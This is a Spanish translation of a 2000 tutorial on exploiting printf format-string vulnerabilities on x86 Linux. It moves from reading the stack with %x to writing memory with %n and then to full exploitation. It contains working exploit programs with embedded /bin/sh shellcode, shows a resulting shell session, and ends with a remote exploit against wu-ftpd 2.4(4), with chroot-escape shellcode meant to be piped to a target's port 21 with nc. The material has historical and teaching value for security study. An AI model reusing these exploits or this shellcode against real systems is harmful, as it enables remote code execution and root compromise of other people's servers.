/* traduccion por [ honoriak ] algunos termines tecnicos se conservan en ingles para no incurrir en confusiones. gracias kalou, por permitirme hacer la traduccion */ Mas informacion sobre format bugs. Pascal Bouchareine [ kalou ] I Introduccion Este manual intenta explicar como explotar un printf(inputdelusuario) format bug, al que se hace referencia en muchas de los recientes avisos de vulnerabilidades. El problema es facil de entender, y mas teniendo en cuenta precisamente la cantidad de exploits existentes (wu-ftpd, ...). Se necesita tener unos conocimiento basicos de programacion bajo C y asm para entender este articulo (funcionamiento de la pila, registros y 'endian storage'). II Campo de juegos Empecemos con un experimento. Echa un vistazo a este codigo: void main() { char tmp[512]; char buf[512]; while(1) { memset(buf, '\0', 512); read(0, buf, 512); sprintf(tmp, buf); printf("%s", tmp); } } Esto usa la pila para tmp y buf (buf tiene la direccion mas baja en la pila), lee el input del usuario y lo mete en buf, llama a sprintf para llenar tmp e imprime tmp. Intentemos esto: [pb@camel][formats]> ./t foo-bar foo-bar %x %x %x %x 25207825 78252078 a782520 0 Los coders torpes estan acostumbrados a ver este tipo de cosas, pero veamos exactamente que pasa. Cuando sprintf encuentra una cadena de conversion, simplemente toma la primera palabra fijada (32 bits, 4 bytes en intel) en la pila y como se tiene el convertidor "%x", sale en pantalla como hexadecimal. Si los argumentos son dados explicitamente, funciona, pero si se pierden y la supuesta pila del sprintf esta vacia, la funcion tira directamente la pila llamada, con tal de que la pila vaya hacia abajo (la arquitectura intel por ejemplo). Para mas detalles, veamos este segundo ejemplo: [pb@camel][formats]> gdb ./t GNU gdb 5.0 Copyright 2000 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for (gdb) run Starting program: /usr/home/pb/code/format/./t %x Breakpoint 1, 0x80481f3 in _IO_sprintf () (gdb) x/20x $esp 0xbffff670: 0xbffffa80 0x080481af 0xbffff880 0xbffff680 0xbffff680: 0x000a7825 0x00000000 0x00000000 0x00000000 0xbffff690: 0x00000000 0x00000000 0x00000000 0x00000000 * 0xbffffa80 and 0x08481af son un footer simple del marco de la pila. * 0xbffffa80 es la direccion del marco de la pila de la funcion de llamada * 0x08481af es la direccion de retorno en main(). Despues hay dos argumentos para sprintf: * 0xbffff880 es la direccion de tmp[] * 0xbffff680 es la direccion de buf[] Mira que hay simplemente despues de esta direccion 0xbffff680 Si, este es el principio del marco de pila del main,con los 0x400 alloc'eados bytes para tmp[] y buf[] donde se encuentra lo metido a traves del input: 0x000a7825 (little endian : %x\n). Miremos el primer ejemplo de nuevo: [pb@camel][formats]> ./t %x %x %x %x 25207825 78252078 a782520 0 El convertidor %x hace a sprintf saltar una parte de la pila donde tienes: "\x25\x78\x20\x25....\x78\x0a\x00\x00\x00\x00" Este contenido de buf[], con el byte terminal nulo [ una 'word' en este caso]. Estudiemos esto mas detalladamente, poniendo una funcion llamada do_it, con una pila de 4 bytes en 0x04030201, y veamos que pasa cuando sprintf(dst, "%x") es llamada desde ella: void do_it(char *d, char *s) { char buf[] = "\x01\x02\x03\x04"; sprintf(d, s); } main() { char tmp[512]; char buf[512]; while(1) { memset(buf, '\0', 512); read(0, buf, 512); do_it(tmp, buf); printf("%s", tmp); } } Desde luego, sprintf es esperada para poner la palabra buf[] de do_it(), usando %#010x como un convertidor de formato: [pb@camel][formats]> ./t %#010x 0x04030201 Asi uno tiene acceso a los contenidos de la pila de do_it(), y puede averiguar la direccion del marco de la pila de main(), y la direccion de retorno de do_it con facilidad: [pb@camel][formats]> ./t %#010x %x %x %x 0x04030201 bffffa00 bffffac0 80485af Oh, supongamos que este segundo puntero (0xbffffa00) esta alloc'eado para 'pushear' el argumento de sprintf, pero 0xbffffac0 y 0x080485af son realmente los ebp salvados, a la direccion de retorno: (gdb) bt #0 0x8048526 en do_it () #1 0x80485af en main () (gdb) x/2x $ebp 0xbffff6b0: 0xbffffac0 0x080485af Tan facilmente, uno tiene acceso a la direccion del marco de la pila de la funcion llamada. En este ejemplo, tu puedes facilmente averiguar remotamente la localizacion de una direccion de retorno (la de main, por ejemplo) para sobreescribir AND la direccion de la eggshell (si hay alguna): este se hace poniendo 0x04 a la llamada salvada $ebp (el segundo elemento de este ($ebp, ret) par esta en 0xbffffac0 + 0x04 == 0xbffffac4: (gdb) x 0xbffffac4 0xbffffac4: 0x080484be (gdb) bt #0 0x8048526 en do_it () #1 0x80485af en main () #2 0x80484be en ___crt_dummy__ () Asi que la direccion de retorno de main (#2) esta en ___crt_dummy__ por el momento, pero puede ser cambiada a cualquier otro que quieras si puedes sobreescribir los contenidos de 0xbffffac4... Y para la direccion de la eggshell, hay varios caminos para averiguarla. El camino mas simple es encontrar la direccion de buf[], que esta [parte de abajo de la pila] - 0x200 + alguna informacion alojada en la pila: (gdb) break memset Breakpoint 1 at 0x8048408 (gdb) c Continuing. %#010x %x %x %x 0x04030201 bffffa00 bffffa20 80485af Breakpoint 1, 0x40078428 in memset () (gdb) printf "%s\n", 0xbffffa00 - 0x200 + 0x20 %#010x %x %x %x Aunque esto depende bastante del programa que se este ejecutando, tu puedes ver que los metodos para encontrar una direccion de retorno con permiso de escritura en la pila y una eggshell ejecutable en la pila son bastante faciles. Sin embargo, el mejor camino para averiguar remotamente la arquitectura de la pila, cuando uno no tiene acceso a el proceso que se esta ejecutando, es "comer" la pila con algunos convertidores de formato "%x" o "%...s" hasta la [direccion de la pila, direccion del segmento de codigo], el par es encontrado y la misma cadena del input del usuario es volcada. "Comiendo" el espacio de la pila con los trastos de los convertidores de formato hasta que el comienzo de la cadena del input es encontrada es una forma realmente buena para controlar lo que pasa a continuacion: tu ahora tienes argumentos controlables a convertidores de texto "%*", y esto realmente viene muy a mano. Echa un vistazo a esto (usando el primer ejemplo): [pb@camel][formats]> ./t AAAA%x AAAA41414141 Recuerda, la pila esta vacia. El convertidor %x hace que el sprintf tome el principio del buffer del input como un arg-list para las cadenas del format. Uno tiene *muchos* posibilidades de juego con esto. Esta caracteristica de "permitir controlar la pila" es tan util como el gdb. Tu puedes volcar la pila por completo, averiguar direcciones de la pila, e incluso escribir en ella (como sera explicado mas tarde usando el convertidor %n). Veamos este ejemplo: static char find_me[] = "..Buffer was lost in memory\n"; main() { char buf[512]; char tmp[512]; while(1) { memset(buf, '\0', 512); read(0, buf, 512); sprintf(tmp ,buf); printf("%s", tmp); } } La meta es mostrar en pantalla la cadena find_me[]. En este simple ejemplom, tu no tienes que buscar (por convertidores %x) cuantos bytes de la pila puedes "comer" antes de tocar el buffer del input: esto es lo primero. (el ejemplo con "AAAA%x" mostraba esto bastante claramente). Asi que basicamente simplemente se tiene para el asunto de la siguiente "pseudo cadena" para imprimir fuera del buffer: [4 bytes address of find_me]%s Si! Esto es asi de simple: en este caso, el buffer de input es tanto la cadena del format como el argumento de la cadena del format.. :) Hagamos esto simplemente: [pb@camel][formats]> printf "\x02\x96\x04\x08%s\n" | ./v (garbage)Buffer was lost in memory La basura esta en el comienzo de la cadena del format. Asi, puedes volcar parte de la memoria que necesitas. Lo que es verdad con los buffer overflows remotos ya no lo es: no necesitas buscar la direccion de retorno mas. No necesitas averiguar nada, desde que puedes inspeccionar en la memoria para encontrarla. (Er, esto es verdad con los asuntos del printf(), pero no cuando no puedes ver lo que el input produjo. Ver setproctitle() por ejemplo.) Despues viene la segunda (y mas divertida) parte. III Escribiendo en memoria. Todo lo que no seria divertido si no se tuviese el convertidor de formato "%n". Esto toma un argumento (int *), y escribe el numero de bytes escritos hasta entonces en ese sitio. Intentemos esto (con una muy simple AAAA%x proggy de nuevo): [pb@camel][formats]> printf "\x70\xf7\xff\xbf%%n\n" > file [pb@camel][formats]> gdb ./t GNU gdb 5.0 Copyright 2000 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-linux-gnu". (no debugging symbols found)... (gdb) set args < file (gdb) break main Breakpoint 1 at 0x8048529 (gdb) run Starting program: /usr/home/pb/code/format/./t < file (no debugging symbols found)... Breakpoint 1, 0x8048529 in main () (gdb) watch *0xbffff770 Hardware watchpoint 2: *3221223280 (gdb) c Continuing. Hardware watchpoint 2: *3221223280 Old value = 0 New value = 4 0x400323f3 in vfprintf () (gdb) x 0xbffff770 0xbffff770: 0x00000004 En este momento, 4 bytes codificados en la cadena de formato (una direccion) son escritos y el convertidor "%n" hace que sprintf informe de esto donde se dice (i.e. 0xbffff770). Juguemos con esto un poco mas. En este momento, el fichero-generado parece esto: printf "\x70\xf7\xff\xbf\x71\xf7\xff\xbf%%n%%n" > file sprintf escribio 8 bytes (dos direcciones), y "%n" paso esta informacion a 0xbffff770 y 0xbffff771. Ahora, se supone que tienes una eggshell en 0xbffff710, y la busqueda de la direccion de retorno tiende a 0xbffffa80. No tienes acceso para escribir el 0xbffff710 bytes al buffer para hacer sprintf (a traves del convertidor "%n") y escribir este valor a la pila. Recuerda que la gente normalmente tiene miedo de buffer overflows y cortan sus buffer input :). Pero puedes usar una construccion byte-por-byte para construir la direccion. Desde que "%n" hace a sprintf escribir un numero de bytes a lo largo de la pila, necesitas substraer el numero de bytes ya escritos a cada fragmento siguiente. Desde que int * borro ya los bytes, tienes que escribir la direccion del byte significativo mas bajo al byte significativo mas alto. Necesitas haber escrito 0xff bytes antes de que puedas escribir el byte 0xbf, y aun mas, solo puedes incrementar el contador interno de numero de bytes escritos, tienes para usar 0x1bf, borrando el byte sin datos de la pila. Ten en cuenta que podias usar el convertidor "%hn", y hacer que sprintf escribiese argumentos short int a la pila. Pero esto no sera discutido aqui. Aqui esta el codigo del "constructor de direcciones" aqui explicado: main() { char b1[255]; char b2[255]; char b3[255]; memset(b1, 0, 255); memset(b2, 0, 255); memset(b3, 0, 255); memset(b1, '\x90', 0xf7 - 0x10); memset(b2, '\x90', 0xff - 0xf7); memset(b3, '\x90', 0x01bf - 0xff); printf("\x80\xfa\xff\xbf" // arguments to the "%n" converter. "\x81\xfa\xff\xbf" // ditto "\x82\xfa\xff\xbf" // .. "\x83\xfa\xff\xbf" // last byte. "%%n" // 1) gives 0x10 ( 16 first bytes ) "%s%%n" // 2) gives 0xf7: string len is 0xf7 - 0x10 "%s%%n" // 3) gives 0xff: string len is 0xff - 0xf7 "%s%%n" // 4) gives 0x01bf: string len is 0x01bf - 0xff ,b1, b2, b3); // ahora tienes 0xbffff710 at 0xbffffa80 } Intentemos esto: (after 3 hits on watchpoint) (gdb) c Continuing. Hardware watchpoint 3: *3221224064 Old value = 16774928 New value = -1073744112 0x400323f3 in vfprintf () (gdb) x/2 0xbffffa80 0xbffffa80: 0xbffff710 0xbf000001 Parece que funciona. El trabajo casi esta terminado, simplemente tienes que "push" una eggshell despues de todo este truco del format, y hara al programa saltar. Intentemos aplicar lo dicho anteriormente, con el siguiente programa vulnerable: IV Ejemplo de exploit. void do_it(char *dst, char *src) { int foo; char bar; sprintf(dst, src); } main() { char buf[512]; char tmp[512]; memset(buf, '\0', 512); read(0, buf, 512); do_it(tmp, buf); printf("%s", tmp); } 1) Lo primero que tienes que encontrar es donde esta el buffer del input, para controlar la cadena de formato. [pb@camel][formats]> gcc vuln.c -o v [pb@camel][formats]> ./v AAAA %x %c %x AAAA 0 @ bffffac0 (int foo, char bar, stack) ... AAAA %x %x %x %x %x %x %x %x %x AAAA 0 bffffac0 bffffac0 804859f bffff6c0 bffff8c0 41414141 62203020 66666666 (el buffer de salida esta en el offset 28) Mira en el marco de la pila, el cual es un (direccion de la pila, direccion del codigo) par: la direccion de retorno en main es 0x0804859f, las direcciones ebp y ret salvadas del marco de la pila comienzan en 0xbffffac0. Ahora sabes que la direccion de retorno del main esta en 0xbffffac4 (la segunda parte de la [pila, codigo] pareja esta, desde luego, en el par + 4). Asi que, obtienes alguna info sobre las direcciones de retorno del main: printf "AAAA\xc0\xfa\xff\xbf%%x%%x%%x%%x%%x%%x%%x we try %%s\n\n"' | ./v \ | hexdump 0000000 4141 4141 fac0 bfff 6230 6666 6666 6361 0000010 6230 6666 6666 6361 3830 3430 3538 3838 0000020 6662 6666 3666 3063 6662 6666 3866 3063 0000030 3134 3134 3134 3134 7720 2065 7274 2079 0000040 fad4 bfff 84be 0804 0a01 000a stack/ret es 0xbffffad4/0x080484be (revisa esto con el gdb). Suponiendo que el marco del do_it es algo como bytes 0x400 antes del marco del main (al fin y al cabo es 0x410 bytes), puedes encontrar la direccion del marco de la pila del do_it, desde que sabes que debe ser puntero del marco salbado seguido por una direccion de retorno del segmento de codigo, y despues por la pila del main: despues de muchos intentos aqui lo tienes: printf "AAAA\xb0\xf6\xff\xbf%%x%%x%%x%%x%%x%%x%%x we try %%s\n\n"' | ./v \ | hexdump 0000000 4141 4141 f6b0 bfff 6230 6666 6666 6361 0000010 6230 6666 6666 6361 3830 3430 3538 3838 0000020 6662 6666 3666 3063 6662 6666 3866 3063 0000030 3134 3134 3134 3134 7720 2065 7274 2079 0000040 fac0 bfff 8588 0804 f6c0 bfff f8c0 bfff 0000050 4141 4141 f6b0 bfff 6230 6666 6666 6361 0000060 6230 6666 6666 6361 3830 3430 3538 3838 0000070 6662 6666 3666 3063 6662 6666 3866 3063 0000080 3134 3134 3134 3134 7720 2065 7274 2079 0000090 0a0a (esto imprime ".. intentamos [contenidos de 0xbffff6b0]) Bingo! Aqui lo tienes (intentamos.. esta justo antes del offset 0x40) 0xbffffac0,0x08048588 at 0xbffff6b0. Recuerdas las direcciones del par (stack, codigo)? Esto es de hecho el marco de la pila de do_it. Puedes ver que los args de sprintf van justo despues: 0xbffff6c0 and 0xbffff8c0. Estas son direcciones de dos buffers. 0x41414141 es el comienzo del buffer del input, asi que puedes ver que el offset en hexadecimal 0x50 esta en la direccion 0xbffff6c0, y si eres bueno en mates, confirma que el offset en hexadecimal 0x40 esta al fin y al cabo en 0xbffff6b0. Este proceso te permite hacer averiguaciones de forma remota 1) direccion de retorno de la pila. 2) direccion del buffer. Tienes toda la info que necesitas para formatear la pila, asi que vayamos a lo siguiente: construir la eggshell y el buffer apropiado. El buffer estara en 0xbffff8c0. PERO, desde que se llena con montones de instrucciones ilegales (ej. los convertidores de formato), la cadena "\x90" debe terminar con un "\xeb\x02" para saltar a los convertidores de formato "%n", y por tanto, no tendras problemas en la direccion de una egg efectiva. Asi que todo lo que necesitas hacer es "pushear" 4 direcciones (una direccion por byte de la direccion de retorno a sobreescribir), una sherie de convertidores "%x" para "comer" el espacio de la pila, despues una sherie de NOPs seguidos por un convertidor "%n" (para construir la direccion de retorno) y algun sitio para la eggshell. Esta parte no es la mas facil, asi que coge algo para poner tu mente al maximo (cafe, cocaina, coca-cola(tm), o algo que te guste): void main() { char b1[255]; char b2[255]; char b3[255]; char b4[255]; char xx[600]; int i; char egg[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; // ( (void (*)()) egg)(); memset(b1, 0, 255); memset(b2, 0, 255); memset(b3, 0, 255); memset(b4, 0, 255); memset(xx, 0, 513); for (i = 0; i < 12 ; i += 2) { /* prepara los 6 "%x" para comer el espacio de la pila */ strcpy(&xx[i], "%x"); } memset(b1, '\x90', 0xd0 - 16 - 12 - 2 - 28); // 16 (4 direcciones) // 2 (%n) // 40 (%x output - "averiguando ..") // usa buenos formats para // arreglar las dimensiones de salida... :) // + 200- (4 bytes) memset(b2, '\x90', 0xf8 - 0xd0 - 2); // primera cadena 0x90 esta en // 0xbffff8d0.. (c0 + 4 * 4 bytes) :) // -2 por causa de "\xeb\x02" memset(b3, '\x90', 0xff - 0xf8 - 2); // ditto, con -2. memset(b4, '\x90', 0x01bf - 0xff - 2); // ditto. printf("\xb4\xf6\xff\xbf" // "\xb5\xf6\xff\xbf" // esto apunta a la "storage word" de "\xb6\xf6\xff\xbf" // la direccion de retorno de do_it "\xb7\xf6\xff\xbf" // "%s" // 0) Hay 6 "%x", para comer la pila hasta el buf del input // toman el control las cadenas de format. "%s\xeb\x02%%n" // 1) da 0xd0 (4 * 4 bytes add, %x son ignorados ) "%s\xeb\x02%%n" // 2) da 0xf9 "%s\xeb\x02%%n" // 3) da 0xff "%s\xeb\x02%%n%s" // 4) da 0x01bf , xx, b1, b2, b3, b4, egg); } Una prueba final: [pb@camel][formats]> ( ./b ; cat ) | ./v id uid=1001(pb) gid=100(users) groups=100(users) date Sat Jul 15 22:15:07 CEST 2000 V Conclusion. Estos format bugs son realmente asquerosos. Primero, si puedes leer la salida del buffer final (ej. printf(Userinput)), tu, claro esta, tomas el control del ordenador que lo procesa. Tienes algunos tipos de acceso-debugger-remoto a la maquina, eso se te permite en un primer intento. Estas son malas noticias para desarrolladores. (el format buf del wu-ftpd usado por una persona es un unico intento remoto de root..). Jugando con los argumentos de format y punteros se nos permite construir algunos tipos de "cadenas de formato generico" que sobreescribiran ciertas direcciones de retorno de llamadas. Este debe ser acompanado con una averiaguacion de la direccion de retorno remota para que funcione correctamente, pero produce al menos esto lo mismo que los buffer overruns remotos. Incluso si no ves que hacer (setproctitle), esto es todavia mas facil de hacer. VI Basura y saludos. Esto es lo que construi contra mi antiguo wu-ftpd [wu-2.4(4)] usando la citada tecnica. Funciona, pero he cortado la cadena de formato del input a 512 bytes: Incluyo la eggshell en otra parte de la memoria, usando un commando PASS. Esta direccion es todavia facil de averiguar. /* * Sample example - part 2: wu-ftpd v2.4(4), exploitation. * * usage: * 1) find the right address location/eggshell location * this is easy with a little play around %s and hexdump. * Then, fix this exploit. * * 2) (echo "user ftp"; ./exploit; cat) | nc host 21 * * echo ^[c to clear your screen if needed. * * Don't forget 0xff must be escaped with 0xff. * * */ main() { char b1[255]; char b2[255]; char b3[255]; char b4[255]; char xx[600]; int i; char egg[]= /* Lam3rZ chroot() code */ "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb" "\x43\x89\xd9\x41\xb0\x3f\xcd\x80" "\xeb\x6b\x5e\x31\xc0\x31" "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27" "\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31" "\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d" "\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46" "\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8" "\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0" "\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff" "\x30\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31"; // ( (void (*)()) egg)(); memset(b1, 0, 255); memset(b2, 0, 255); memset(b3, 0, 255); memset(b4, 0, 255); memset(xx, 0, 513); for (i = 0; i < 20 ; i += 2) { /* setup up the 10 %x to eat stack space */ strcpy(&xx[i], "%x"); } memset(b1, '\x90', 0xa3 - 0x50); memset(b2, '\x90', 0xfe - 0xa3 - 2); memset(b3, '\x90', 0xff - 0xfe); memset(b4, '\x90', 0x01bf - 0xff); // build ret address here. // i found 0xbffffea3 printf("pass %s@oonanism.com\n", egg); printf("site exec .." "\x64\xf9\xff\xff\xbf" // insert ret location there. "\x65\xf9\xff\xff\xbf" // i had 0xbffff964 "\x66\xf9\xff\xff\xbf" "\x67\xf9\xff\xff\xbf" "%s" "%s\xeb\x02%%n" "%s\xeb\x02%%n" "%s%%n" "%s%%n\n" , xx, b1, b2, b3, b4); } */ he mantenido este exploit sin traducir y los saludos tb, ya que es algo personal del autor del texto original */ - many thanks to... ("grep yourself or ignore this part") The best goes to Ouaou - Ignacy Gawedzki , who drastically changed this article and made something understandable with it. My english sucks, he's a babelfish.. Flaoua, my roomy, helped a lot, bearing me, my machines and my monomania. Try her cookies someday. Gaius, cleb - I need a beer. HERT guys, since they own me. ADM, great, productive work, and with humor, doh. Michal Zalewski, Solar Designer - they're my heroes. Enough greetings for such a bad paper, hope you enjoyed it. */ finished translation Wed Nov 22 23:08:35 CET 2000 */